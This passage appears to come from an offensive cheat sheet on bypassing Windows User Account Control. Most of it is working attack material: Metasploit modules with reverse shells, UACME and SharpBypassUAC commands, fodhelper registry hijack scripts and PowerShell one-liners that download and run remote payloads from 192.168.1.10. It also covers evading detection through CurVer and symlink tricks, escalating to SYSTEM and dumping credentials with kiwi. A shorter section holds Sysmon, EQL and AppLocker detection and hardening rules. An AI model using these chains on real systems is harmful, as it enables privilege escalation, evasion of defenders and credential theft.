$env:SystemRoot = $FakeRoot

Write-Host "[*] SystemRoot hijacked to: $FakeRoot"
Write-Host "[*] Trigger an elevated task or restart an auto-elevating binary"

# Restore after payload executes
Start-Sleep 10
[System.Environment]::SetEnvironmentVariable("SystemRoot", $null, "User")
Remove-Item $FakeRoot -Recurse -Force
Write-Host "[+] Cleaned up"

# Search all UAC bypass modules
msf6 > search bypassuac

Matching Modules
================
   Name                                          Rank      Description
   ----                                          ----      -----------
   exploit/windows/local/bypassuac               excellent Windows Escalate UAC Protection Bypass
   exploit/windows/local/bypassuac_fodhelper     excellent Windows 10 UAC Bypass via fodhelper.exe
   exploit/windows/local/bypassuac_eventvwr      excellent UAC Bypass Using eventvwr.exe
   exploit/windows/local/bypassuac_sdclt         excellent Windows 10 UAC Bypass via sdclt.exe
   exploit/windows/local/bypassuac_silentcleanup excellent Windows Escalate UAC via SilentCleanup
   exploit/windows/local/bypassuac_injection_winsxs excellent Windows UAC Injection via WinSxS
   exploit/windows/local/bypassuac_comhijack     excellent Windows UAC COM Handler Hijack
   exploit/windows/local/bypassuac_dllhijack     excellent Windows UAC DLL Hijack
   exploit/windows/local/bypassuac_sluihijack    excellent Windows 10 UAC Bypass via slui.exe

msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 exploit(bypassuac_fodhelper) > show options

# Required:
msf6 exploit(bypassuac_fodhelper) > set SESSION 1
msf6 exploit(bypassuac_fodhelper) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_fodhelper) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_fodhelper) > set LPORT 4444
msf6 exploit(bypassuac_fodhelper) > run

# Expected output:
# [*] UAC is Enabled, checking level...
# [+] Part of Administrators group! Continuing...
# [+] UAC is set to Default
# [+] BypassUAC can bypass this setting, continuing...
# [*] Uploading payload...
# [*] Meterpreter session 2 opened (elevated)
msf6 exploit(bypassuac_fodhelper) > sessions -i 2
meterpreter > getprivs  # Verify elevation

# Avoids disk writes — DLL injected into a process using WinSxS redirection
msf6 > use exploit/windows/local/bypassuac_injection_winsxs
msf6 exploit(bypassuac_injection_winsxs) > set SESSION 1
msf6 exploit(bypassuac_injection_winsxs) > set TARGET 1          # 0=x86, 1=x64
msf6 exploit(bypassuac_injection_winsxs) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_injection_winsxs) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_injection_winsxs) > set LPORT 4444
msf6 exploit(bypassuac_injection_winsxs) > run

# [+] Uploaded payload DLL
# [*] Spawning Windows Publisher signed process...
# [*] Injecting payload into process PID: 9780
# [*] Meterpreter session 2 opened (elevated)

msf6 > use exploit/windows/local/bypassuac_sdclt
msf6 exploit(bypassuac_sdclt) > set SESSION 1
msf6 exploit(bypassuac_sdclt) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_sdclt) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_sdclt) > set LPORT 4445
msf6 exploit(bypassuac_sdclt) > run

# [*] Setting HKCU\Software\Classes\exefile\shell\open\command
# [*] Executing sdclt.exe
# [*] Meterpreter session 3 opened (elevated)
# Note: manual cleanup of %TEMP% artefact may be needed

msf6 > use exploit/windows/local/bypassuac_silentcleanup
msf6 exploit(bypassuac_silentcleanup) > set SESSION 1
msf6 exploit(bypassuac_silentcleanup) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(bypassuac_silentcleanup) > set LHOST 192.168.1.10
msf6 exploit(bypassuac_silentcleanup) > set LPORT 4446
msf6 exploit(bypassuac_silentcleanup) > run

# Drops PS1 in %TEMP%, triggers SilentCleanup task, auto-cleans up

# In new elevated Meterpreter session — verify elevation
meterpreter > getuid
Server username: DESKTOP\IEUser

meterpreter > getprivs
# Should show: SeDebugPrivilege, SeImpersonatePrivilege, etc.

# Now escalate to SYSTEM using getsystem
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# Dump credentials
meterpreter > load kiwi
meterpreter > creds_all

:: Clone and build (Visual Studio required)
git clone https://github.com/hfiref0x/UACME.git
cd UACME

:: Open Source\UACME.sln in Visual Studio 2019/2022
:: Build → Release x64
:: Output: Akagi64.exe (main tool), Akagi32.exe (32-bit)

:: Usage: Akagi64.exe [Method] [Optional: payload path]
:: Default payload (if none given): cmd.exe

:: Method 23 — fodhelper (works Win 10 1507+)
Akagi64.exe 23 cmd.exe

:: Method 33 — sdclt (works Win 10 Build 14316+)
Akagi64.exe 33 cmd.exe

:: Method 41 — ICMLuaUtil COM interface
Akagi64.exe 41 cmd.exe

:: Method 22 — SxS DotLocal / consent.exe DLL hijack
Akagi64.exe 22 cmd.exe

:: Method 30 — WerFault wow64log.dll DLL hijack (Medium to SYSTEM)
Akagi64.exe 30 cmd.exe

:: Method 70 — Environment variable abuse (works at Always Notify!)
Akagi64.exe 70 cmd.exe

:: List all methods (view source or README for full list)
:: Methods 1-65 cover every known UAC bypass primitive

Registry Key Manipulation:
├─ Method 23  — fodhelper  (ms-settings handler)
├─ Method 31  — sdclt      (Folder shell handler)
├─ Method 33  — sdclt      (isolated command)
├─ Method 34  — ComputerDefaults (ms-settings handler)
└─ Method 43  — eventvwr   (mscfile handler)

DLL Hijack:
├─ Method 22  — SxS DotLocal → consent.exe loads comctl32 from fake dir
├─ Method 30  — wow64log.dll → WerFault.exe DLL sideload (→ SYSTEM)
└─ Method 65  — Missing DLL via SilentCleanup race condition

Elevated COM Interface:
├─ Method 41  — ICMLuaUtil.ShellExec
├─ Method 42  — IColorDataProxy.LaunchDccw  
└─ Method 46  — IFwCplLua

Environment Variable:
└─ Method 70  — windir/SystemRoot hijack (works at Always Notify!)

Scheduled Task:
└─ Method 34  — CDSSync via windir hijack

# Clone and build
git clone https://github.com/FatRodzianko/SharpBypassUAC.git
# Open in Visual Studio → Build Release x64 → SharpBypassUAC.exe

# Encode your payload command first
$command = "cmd /c start calc.exe"
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host "Encoded: $encoded"

:: Run bypass — replace encoded value with your payload
SharpBypassUAC.exe -b eventvwr       -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b fodhelper      -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b computerdefaults -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b sdclt          -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
SharpBypassUAC.exe -b slui           -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhl

:: DiskCleanup — note: command must end with "&& REM"
SharpBypassUAC.exe -b dikcleanup     -e Y21kIC9jIHN0YXJ0IGNhbGMuZXhlICYmIFJFTQ==

:: Supported -b values:
:: eventvwr | fodhelper | computerdefaults | sdclt | slui | dikcleanup

In Covenant C2:
1. Grunt session at Medium integrity (admin user)
2. Tasks → Assembly
3. Upload SharpBypassUAC.exe
4. Arguments: -b fodhelper -e <Base64_encoded_grunt_launcher>
5. New Grunt will callback at High integrity

# Build payload string (adjust for your C2)
$C2   = "192.168.1.10"
$Port = "4444"

# Example — PowerShell reverse shell to encode
$Payload = "(New-Object Net.WebClient).DownloadString('http://$C2/rev.ps1') | IEX"

# Encode to UTF-16LE Base64 (required for powershell -EncodedCommand)
$Bytes   = [System.Text.Encoding]::Unicode.GetBytes($Payload)
$Encoded = [Convert]::ToBase64String($Bytes)
Write-Host "[*] Encoded command: $Encoded"

# Use with SharpBypassUAC:
# SharpBypassUAC.exe -b fodhelper -e $Encoded

Detection Method                     | Detects                        | Tool/Source
-------------------------------------|--------------------------------|-----------------------
Sysmon Event ID 13 (Registry Set)    | HKCU shell handler writes      | Sysmon + SIEM
Sysmon Event ID 1 (Process Create)   | Unexpected parent-child pairs  | Sysmon + SIEM
Process Token Attributes             | LUA://DecHdAutoAp descendants  | Elastic Endpoint 7.16+
DLL Load Events                      | Non-MS DLLs in elevated procs  | Elastic Endpoint / EDR
AMSI                                 | PS script content scanning     | Windows built-in
Script Block Logging Event ID 4104   | PowerShell bypass code         | PowerShell / SIEM
EDR Behavioural Rules                | Registry + process correlation | CrowdStrike, SentinelOne

Problem: Defenders alert on writes to:
  HKCU\Software\Classes\ms-settings\Shell\Open\command

Evasion: Use CurVer subkey to redirect — monitors miss the actual command key

HKCU\Software\Classes\ms-settings\CurVer
  (Default) = ".evil"

HKCU\Software\Classes\.evil\Shell\Open\command
  (Default) = "cmd.exe"

Result: fodhelper follows CurVer → resolves to .evil → executes cmd.exe
        Detections watching ms-settings\Shell\Open\command → MISS

# CurVer evasion implementation
$AliasClass = ".UAC_$(Get-Random)"  # Random class name
$Payload    = "cmd.exe"

# Create the aliased class with the actual command
New-Item "HKCU:\Software\Classes\$AliasClass\Shell\Open\command" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\$AliasClass\Shell\Open\command" "(Default)" $Payload -Force

# Set CurVer on ms-settings to point to the alias
New-Item "HKCU:\Software\Classes\ms-settings\CurVer" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" "(Default)" $AliasClass -Force

# Trigger
Start-Process "C:\Windows\System32\fodhelper.exe"
Start-Sleep 3

# Cleanup both keys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\$AliasClass\" -Recurse -Force

Problem: Detections look for key rename patterns on ms-settings or shell\open\command

UACME 3.5+ adds: registry symbolic link trick
├─ Create a reg symlink from a non-monitored key → the actual command key
├─ Defender sees write to the non-monitored key
└─ Registry resolves symlink → fodhelper reads the hijacked command

Detection for this: Look for registry value "SymbolicLinkValue" in HKCU class keys
KQL: registry.value:"SymbolicLinkValue" and registry.key:*S-1-5-21-*_Classes*

Problem: File monitoring alerts on DLL drops to C:\Windows\System32\

Evasion:
1. Write DLL to an unmonitored path (e.g. C:\Users\Public\Tmp\evil.dll)
2. Create the directory C:\Windows\System32\TmpXXXX\
3. Write legitimate DLL there (no alert — looks like temp files)
4. Rename the directory at the last second before trigger

IFileOperation bypass:
── File monitoring sees: dllhost.exe created C:\Windows\System32\TmpABC\evil.dll
── Directory rename:     C:\Windows\System32\TmpABC\ → C:\Windows\System32\wbem\
── Elevated process loads: C:\Windows\System32\wbem\evil.dll  ← no write alert at this path

// Detect any child of auto-elevated process running suspicious tools
process where event.action == "start" and
  process.Ext.token.integrity_level_name : ("high", "system") and
  process.Ext.token.security_attributes : "LUA://DecHdAutoAp" and
  (
    process.pe.original_file_name : (
      "cmd.exe", "powershell.exe", "pwsh*", "rundll32.exe",
      "mshta.exe", "msbuild.exe", "regsvr32.exe", "cscript.exe",
      "wscript.exe", "wmic.exe", "reg.exe", "schtasks.exe", "sc.exe"
    ) or
    process.executable : (
      "?:\\Users\\Public\\*", "?:\\Programdata\\*",
      "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*"
    ) or
    (process.code_signature.trusted == false or process.code_signature.exists == false)
  )

<!-- Sysmon config — detect all common UAC bypass registry writes -->
<RuleGroup name="UAC Bypass Registry Monitoring" groupRelation="or">
  <RegistryEvent onmatch="include">
    <!-- fodhelper / ComputerDefaults bypass -->
    <TargetObject condition="contains">Software\Classes\ms-settings\Shell\Open\command</TargetObject>
    <!-- eventvwr bypass -->
    <TargetObject condition="contains">Software\Classes\mscfile\shell\open\command</TargetObject>
    <!-- sdclt folder method -->
    <TargetObject condition="contains">Software\Classes\Folder\shell\open\command</TargetObject>
    <!-- sdclt isolated method -->
    <TargetObject condition="contains">Classes\exefile\shell\runas\command\IsolatedCommand</TargetObject>
    <!-- windir / SystemRoot hijack -->
    <TargetObject condition="contains">Environment\windir</TargetObject>
    <TargetObject condition="contains">Environment\SystemRoot</TargetObject>
    <!-- CurVer redirect evasion -->
    <TargetObject condition="contains">ms-settings\CurVer</TargetObject>
    <!-- Registry symlink evasion -->
    <TargetObject condition="is">SymbolicLinkValue</TargetObject>
  </RegistryEvent>
</RuleGroup>

:: Set Always Notify — defeats all auto-elevation-based bypasses
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ^
    /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f

:: Via GPO:
:: Computer Configuration → Windows Settings → Security Settings →
:: Local Policies → Security Options →
:: "User Account Control: Behavior of the elevation prompt for administrators
::  in Admin Approval Mode" → Set to "Prompt for credentials on the secure desktop"

# Enable Script Block Logging (Event ID 4104)
$RegPath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item $RegPath -Force | Out-Null
Set-ItemProperty $RegPath -Name "EnableScriptBlockLogging" -Value 1 -Force
Set-ItemProperty $RegPath -Name "EnableScriptBlockInvocationLogging" -Value 1 -Force

# Enable Module Logging
$RegPath2 = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
New-Item $RegPath2 -Force | Out-Null
Set-ItemProperty $RegPath2 -Name "EnableModuleLogging" -Value 1 -Force

<!-- AppLocker rule — block unsigned executables from user-writable locations -->
<RuleCollection Type="Exe" EnforcementMode="Enabled">
  <FilePathRule Id="..." Name="Block user temp" Description=""
                UserOrGroupSid="S-1-1-0" Action="Deny">
    <Conditions>
      <FilePathCondition Path="%TEMP%\*"/>
    </Conditions>
  </FilePathRule>
  <FilePathRule Id="..." Name="Block Windows Tasks" Description=""
                UserOrGroupSid="S-1-1-0" Action="Deny">
    <Conditions>
      <FilePathCondition Path="%WINDIR%\Tasks\*"/>
    </Conditions>
  </FilePathRule>
</RuleCollection>

# ═══════════════════════════════════════════════════════════
# PHASE 1 — Verify preconditions
# ═══════════════════════════════════════════════════════════

# On victim (existing medium-integrity shell):
whoami /groups | findstr "Mandatory Level"
# Expect: Medium Mandatory Level — if already High, skip bypass

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# Expect: 0x5 — if 0x2 (Always Notify), use SilentCleanup/env var methods
# Expect: 0x0 — UAC off, just PsExec to SYSTEM directly

whoami /groups | findstr "Administrators"
# Expect: local Administrators — REQUIRED for all these bypasses

# ═══════════════════════════════════════════════════════════
# PHASE 2 — Choose bypass method
# ═══════════════════════════════════════════════════════════

# UAC default (0x5) — any of these:
# → Fastest/easiest:    fodhelper or eventvwr registry hijack
# → Low detection:      ComputerDefaults (less hunted)
# → No PS needed:       SharpBypassUAC -b fodhelper
# → Metasploit:         use exploit/windows/local/bypassuac_fodhelper

# UAC Always Notify (0x2) — only these:
# → SilentCleanup + windir hijack
# → Token duplication
# → UACME method 70

# ═══════════════════════════════════════════════════════════
# PHASE 3 — Execute bypass (fodhelper PowerShell example)
# ═══════════════════════════════════════════════════════════

# On victim:
$cmd = "powershell.exe -w hidden -e BASE64_PAYLOAD"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value $cmd -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

# ═══════════════════════════════════════════════════════════
# PHASE 4 — Verify elevation + escalate to SYSTEM
# ═══════════════════════════════════════════════════════════

# In new High-integrity session:
whoami /priv | findstr "SeDebugPrivilege"
# → Enabled = success

# Meterpreter: escalate to SYSTEM
meterpreter > getsystem
meterpreter > getuid    # → NT AUTHORITY\SYSTEM

# cmd.exe: escalate via PsExec
psexec64.exe -i -s cmd.exe
whoami   # → NT AUTHORITY\SYSTEM

UAC Bypass Registry Paths (all under HKCU — no admin write needed):

Fodhelper / ComputerDefaults:
  HKCU\Software\Classes\ms-settings\Shell\Open\command
    (Default)       = <your payload>
    DelegateExecute = "" (empty string — required)

Eventvwr:
  HKCU\Software\Classes\mscfile\shell\open\command
    (Default)       = <your payload>

sdclt (Folder handler):
  HKCU\Software\Classes\Folder\shell\open\command
    (Default)       = <your payload>
    DelegateExecute = "" (required)

sdclt (IsolatedCommand):
  HKCU\Software\Classes\exefile\shell\runas\command
    IsolatedCommand = <your payload>
  Trigger: sdclt.exe /kickoffelev

windir hijack:
  HKCU\Environment
    windir          = C:\Users\<user>\AppData\Local\Temp\FakeWin
  (restore after: reg delete HKCU\Environment /v windir /f)

# Encode a command for use with SharpBypassUAC or Invoke-FodhelperBypass

# Encode reverse shell payload
$payload = "powershell.exe -w hidden -c `"(New-Object Net.WebClient).DownloadString('http://192.168.1.10/rev.ps1') | IEX`""
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host $encoded

# Encode msfvenom payload download + execute
$payload = "cmd /c certutil -urlcache -f http://192.168.1.10/p.exe C:\Windows\Tasks\p.exe && C:\Windows\Tasks\p.exe"
$bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
Write-Host ([Convert]::ToBase64String($bytes))

# Quick IP + payload encoder (use on Kali with pwsh)
$ip   = (ip addr show eth0 | grep "inet " | head -1 | awk '{print $2}' | cut -d/ -f1)
$text = "(New-Object Net.WebClient).DownloadString('http://$ip/rev.ps1') | IEX"
$enc  = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($text))
Write-Host "powershell.exe -w hidden -e $enc"

# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=4444 -f exe -o p.exe

# Auto-detect best UAC bypass for target
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# Quick bypass chain (adjust module as needed)
msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 > set SESSION 1; set LHOST eth0; set LPORT 4444; run

# After elevation → get SYSTEM
meterpreter > getsystem
meterpreter > load kiwi
meterpreter > lsa_dump_sam
meterpreter > creds_all

Check ConsentPromptBehaviorAdmin value:

UAC enabled?
│
├─ EnableLUA = 0 (UAC OFF)
│   └─ No bypass needed → PsExec -s directly → SYSTEM
│
├─ ConsentPromptBehaviorAdmin = 0 (No prompt)
│   └─ No bypass needed → just run elevated process
│
├─ ConsentPromptBehaviorAdmin = 5 (DEFAULT — most common)
│   │
│   ├─ Fastest / least tooling:
│   │   └─ fodhelper or eventvwr registry hijack (3 reg commands + launch)
│   │
│   ├─ Avoiding PS / registry detection:
│   │   └─ SharpBypassUAC -b computerdefaults (in-memory .NET)
│   │
│   ├─ Metasploit session:
│   │   └─ bypassuac_fodhelper or bypassuac_injection_winsxs (in-memory)
│   │
│   └─ Need SYSTEM directly (skip High):
│       └─ UACME method 30 (wow64log.dll → WerFault → SYSTEM)
│
└─ ConsentPromptBehaviorAdmin = 2 (Always Notify — hardened)
    │
    ├─ SilentCleanup + windir environment hijack
    ├─ Token duplication from accessible elevated process
    └─ UACME method 70